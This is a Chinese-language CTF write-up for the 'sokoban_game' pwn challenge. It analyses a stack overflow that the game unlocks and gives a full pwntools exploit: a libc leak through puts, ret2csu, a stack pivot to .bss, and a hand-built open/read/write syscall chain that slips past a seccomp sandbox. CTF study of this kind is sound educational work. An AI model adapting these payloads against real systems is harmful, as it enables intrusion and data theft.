sokoban_game
.png)
看到有prctl,说明有sandbox
.png)
只让调用open、read、write、brk和exit
main函数:
.png)
main函数前面的一大段代码是实现了一个推箱子的小游戏,把四个箱子推到对应位置就可以触发一个栈read,除此之外没有其他的功能,而且读入的大小与我们推箱子所用的步数是相等的,我们前面可以无限移动,也就是说我们可以自由控制读入的大小,那这里没有canary,buf在-0x130,re_addr在0x008,那我们要用的填充量就是312,就是一个明显的栈溢出,但是二进制文件中只有read函数,也没有syscallgadget,那我们就要先泄露libc地址,no pie我们就能利用把puts@got放入puts@plt的参数中就行,用一个pop rdi(这个在二进制文件中能找到),由于libc是随机的,那我们在puts后面要放一个read读取我们的orw链,但是这时候我们会发现中没有pop rdx,read是跟puts在一个payload中的,所以说我们并不能使用libc中的pop rdx,那这时我们可以可以考虑ret2csu,我们找找看:
.png)
我们看到有gadget,刚好可以控制rdx,rsi和edi,我们利用这个就能调用read并控制其参数了,这里注意一下gadget的内容,jne是不相等时跳转,就按着这个汇编指令一步步填值就行,我们这里把orw读入到可写的.bss段,然后我们在payload1结尾来个简单的栈迁移来执行我们放置在.bss段上的orw链就行:
rbp, #pop rbp
bss_addr, #rbp = bss_addr
leave #相当于mov rsp,rbp
# pop rbp
# ret 这样就把rsp指向bss_addr了,也就把栈成功迁移了泄露完libc地址后我们下载相应的libc文件就能找我们之后构建orw的gadget了,
我们构造orw的时候有一个陷阱,就是我们不能直接用libc中的open函数,因为在现代 Linux 的 Glibc 实现中(特别是 Glibc 2.26 以后),为了支持更现代的文件操作特性,open函数的底层实现发生了变化,实际上调用的是openat,系统调用号是257,前面沙箱我们看到了只有那几个系统调用号没被禁止,其中不包括257,所以我们orw中open这一步要自己构造:
payload2 = flat([
b'deadbeef',
prax, 2, #系统调用号
rdi, bss_addr + 0x100, #放flag字符串的地址
prsi, 0, 0, #只读模式
prdx, 0, #mode参数,我们是读取文件(不是创建新文件),所以这个参数其实不重要,填 0 即可,去掉也可以
syscall,
rdi, 3, #这里我们就算在libc中也找不到能用的mov rdi,rax(rax中存着fd),所以我们直接用3,不行再试4和5
prsi, bss_addr + 0x200, 0,
prdx, 0x50,
libc.sym['read'],
rdi, 1,
prsi, bss_addr + 0x200, 0,
prdx, 0x50,
libc.sym['write'],
])这里由于我们的pop rsi只有libc中的pop rsi,pop r15,ret能用,所以我们要随便填个东西给pop r15,我们在结尾把我们的payload2填充到0x100,然后再加flag字符串,我们就成功把flag字符串放在bss_addr + 0x100了,然后我们就成功读取flag了
EXP:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#p = remote('61.147.171.35',62070)
p = process('./sokoban_patched')
elf = ELF('./sokoban')
libc = ELF('libc.so.6')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
rdi = 0x400f63
ret = 0x40061e
csu_1 = 0x400f5a
csu_2 = 0x400f40
read_got = elf.got['read']
bss_addr = 0x602500
rbp = 0x400728
leave = 0x400834
prsi = 0x400f61
p.sendline(b'd')
p.sendline(b'd')
p.sendline(b'w')
p.sendline(b'w')
p.sendline(b'w')
p.sendline(b'w')
p.sendline(b's')
p.sendline(b's')
p.sendline(b'd')
p.sendline(b'w')
p.sendline(b'w')
p.sendline(b's')
p.sendline(b's')
p.sendline(b'a')
p.sendline(b's')
p.sendline(b's')
p.sendline(b'd')
p.sendline(b'w')
p.sendline(b'w')
p.sendline(b'w')
p.sendline(b's')
p.sendline(b's')
p.sendline(b's')
p.sendline(b'd')
p.sendline(b'w')
count = 25
for i in range(500):
p.sendline(b'a')
p.sendline(b'd')
p.sendline(b'w')
payload1 = flat([
b'A' * 312,
ret,
rdi,
puts_got,
puts_plt,
csu_1,
0,
1,
read_got,
0,
bss_addr,
0x200,
csu_2,
p64(0),
p64(0),
p64(0),
p64(0),
p64(0),
p64(0),
p64(0),
rbp,
bss_addr,
leave
])
p.sendafter(b'Hero,Please leave your name:',payload1)
leak_data = p.recv(6)
leak_puts = u64(leak_data.ljust(8, b'\x00'))
log.success(f"泄露的puts地址: {hex(leak_puts)}")
libc_base = leak_puts - libc.symbols['puts']
log.success(f"泄露的libc地址: {hex(libc_base)}")
libc.address = libc_base
prdx = libc_base + 0x1b96
syscall = libc_base + 0xd2625
prax = libc_base + 0x1b500
log.success(f"泄露的syscall地址: {hex(syscall)}")
payload2 = flat([
b'deadbeef',
prax, 2,
rdi, bss_addr + 0x100,
prsi, 0, 0,
prdx, 0,
syscall,
rdi, 3,
prsi, bss_addr + 0x200, 0,
prdx, 0x50,
libc.sym['read'],
rdi, 1,
prsi, bss_addr + 0x200, 0,
prdx, 0x50,
libc.sym['write'],
])
payload2 = payload2.ljust(0x100, b'\x00') + b'flag\x00'
p.send(payload2)
p.interactive()题目链接:
CTF-Writeups/攻防世界/sokoban_game at main · ZenDuk17/CTF-Writeups